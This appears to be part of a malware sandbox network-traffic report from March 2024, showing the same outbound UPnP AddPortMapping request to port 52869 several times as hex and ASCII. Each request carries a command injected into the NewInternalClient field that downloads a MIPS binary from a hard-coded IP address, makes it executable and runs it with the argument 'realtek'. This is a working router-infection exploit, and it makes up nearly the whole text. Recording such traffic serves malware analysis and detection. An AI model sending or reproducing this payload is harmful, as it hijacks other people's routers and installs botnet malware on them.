                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:46.146047115 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:49.915138960 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:57.082868099 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:11.418457031 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:40.605546951 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      15192.168.2.154293245.192.255.5052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:42.910263062 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
